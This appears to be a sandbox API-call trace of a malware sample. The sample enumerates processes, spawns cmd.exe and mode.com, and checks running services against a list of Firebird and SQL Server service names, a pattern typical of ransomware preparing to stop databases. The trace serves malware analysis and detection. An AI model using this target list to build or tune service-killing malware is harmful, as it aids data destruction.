Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0202.604] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0202.604] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.605] lstrlenW (lpString="svchost.exe") returned 11 [0202.605] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0202.606] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0202.606] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0202.607] lstrlenW (lpString="conhost.exe") returned 11 [0202.607] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0202.609] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0202.609] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0202.610] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0202.610] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0202.611] lstrlenW (lpString="WMIADAP.exe") returned 11 [0202.611] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0203.154] lstrlenW (lpString="11.exe") returned 6 [0203.154] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0203.155] lstrlenW (lpString="cmd.exe") returned 7 [0203.155] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0203.179] lstrlenW (lpString="conhost.exe") returned 11 [0203.179] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0203.180] lstrlenW (lpString="mode.com") returned 8 [0203.180] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0203.181] CloseHandle (hObject=0x34c) returned 1 [0203.181] Sleep (dwMilliseconds=0x1f4) [0203.999] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889a20 [0203.999] EnumServicesStatusExW (in: hSCManager=0x889a20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0203.999] GetLastError () returned 0xea [0203.999] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x801a48 [0204.000] EnumServicesStatusExW (in: hSCManager=0x889a20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x801a48, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x801a48, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0204.001] CloseServiceHandle (hSCObject=0x889a20) returned 1 [0204.001] lstrlenW (lpString="Appinfo") returned 7 [0204.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0204.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0204.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0204.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0204.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0204.001] lstrlenW (lpString="AppXSvc") returned 7 [0204.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0204.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0204.001] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0204.001] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0204.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0204.001] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0204.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0204.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0204.001] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0204.001] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0204.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0204.001] lstrlenW (lpString="Audiosrv") returned 8 [0204.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0204.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0204.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0204.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0204.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0204.002] lstrlenW (lpString="BFE") returned 3 [0204.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0204.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0204.002] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0204.002] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0204.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0204.002] lstrlenW (lpString="BITS") returned 4 [0204.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0204.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0204.002] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0204.002] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0204.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0204.002] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0204.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0204.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0204.002] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0204.002] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0204.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0204.002] lstrlenW (lpString="CDPSvc") returned 6 [0204.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0204.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0204.002] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0204.002] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0204.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0204.003] lstrlenW (lpString="ClickToRunSvc") returned 13 [0204.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0204.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0204.003] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0204.003] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0204.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0204.003] lstrlenW (lpString="ClipSVC") returned 7 [0204.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0204.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0204.003] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0204.003] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0204.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0204.003] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0204.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0204.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0204.003] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0204.003] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0204.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0204.003] lstrlenW (lpString="CryptSvc") returned 8 [0204.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0204.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0204.003] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0204.003] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0204.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0204.003] lstrlenW (lpString="DcomLaunch") returned 10 [0204.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0204.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0204.003] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0204.003] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0204.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0204.004] lstrlenW (lpString="Dhcp") returned 4 [0204.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0204.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0204.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0204.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0204.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0204.004] lstrlenW (lpString="Dnscache") returned 8 [0204.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0204.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0204.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0204.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0204.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0204.004] lstrlenW (lpString="DoSvc") returned 5 [0204.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0204.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0204.004] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0204.004] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0204.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0204.004] lstrlenW (lpString="DPS") returned 3 [0204.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0204.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0204.004] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0204.004] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0204.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0204.004] lstrlenW (lpString="DusmSvc") returned 7 [0204.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0204.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0204.005] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0204.005] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0204.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0204.005] lstrlenW (lpString="EventLog") returned 8 [0204.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0204.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0204.005] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0204.005] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0204.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0204.005] lstrlenW (lpString="EventSystem") returned 11 [0204.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0204.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0204.005] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0204.005] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0204.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0204.005] lstrlenW (lpString="FontCache") returned 9 [0204.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0204.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0204.005] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0204.005] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0204.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0204.005] lstrlenW (lpString="gpsvc") returned 5 [0204.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0204.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0204.005] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0204.005] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0204.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0204.005] lstrlenW (lpString="iphlpsvc") returned 8 [0204.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0204.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0204.006] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0204.006] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0204.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0204.006] lstrlenW (lpString="KeyIso") returned 6 [0204.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0204.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0204.006] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0204.006] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0204.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0204.006] lstrlenW (lpString="LanmanServer") returned 12 [0204.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0204.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0204.006] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0204.006] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0204.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0204.006] lstrlenW (lpString="LanmanWorkstation") returned 17 [0204.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0204.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0204.006] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0204.006] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0204.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0204.006] lstrlenW (lpString="lfsvc") returned 5 [0204.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0204.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0204.006] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0204.007] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0204.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0204.007] lstrlenW (lpString="LicenseManager") returned 14 [0204.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0204.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0204.007] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0204.007] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0204.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0204.007] lstrlenW (lpString="lmhosts") returned 7 [0204.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0204.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0204.007] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0204.007] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0204.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0204.007] lstrlenW (lpString="LSM") returned 3 [0204.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0204.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0204.007] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0204.007] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0204.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0204.007] lstrlenW (lpString="MpsSvc") returned 6 [0204.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0204.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0204.007] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0204.007] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0204.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0204.007] lstrlenW (lpString="NcbService") returned 10 [0204.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0204.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0204.008] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0204.008] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0204.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0204.008] lstrlenW (lpString="netprofm") returned 8 [0204.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0204.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0204.008] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0204.008] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0204.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0204.008] lstrlenW (lpString="NlaSvc") returned 6 [0204.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0204.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0204.008] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0204.008] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0204.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0204.008] lstrlenW (lpString="nsi") returned 3 [0204.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0204.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0204.008] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0204.008] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0204.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0204.008] lstrlenW (lpString="PcaSvc") returned 6 [0204.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0204.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0204.008] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0204.008] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0204.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0204.008] lstrlenW (lpString="PlugPlay") returned 8 [0204.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0204.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0204.009] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0204.009] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0204.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0204.009] lstrlenW (lpString="Power") returned 5 [0204.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0204.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0204.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0204.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0204.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0204.009] lstrlenW (lpString="ProfSvc") returned 7 [0204.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0204.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0204.009] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0204.009] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0204.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0204.009] lstrlenW (lpString="RpcEptMapper") returned 12 [0204.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0204.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0204.009] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0204.009] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0204.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0204.009] lstrlenW (lpString="RpcSs") returned 5 [0204.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0204.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0204.009] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0204.009] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0204.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0204.009] lstrlenW (lpString="SamSs") returned 5 [0204.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0204.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0204.010] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0204.010] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0204.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0204.010] lstrlenW (lpString="Schedule") returned 8 [0204.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0204.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0204.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0204.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0204.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0204.010] lstrlenW (lpString="SecurityHealthService") returned 21 [0204.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0204.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0204.010] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0204.010] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0204.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0204.010] lstrlenW (lpString="SENS") returned 4 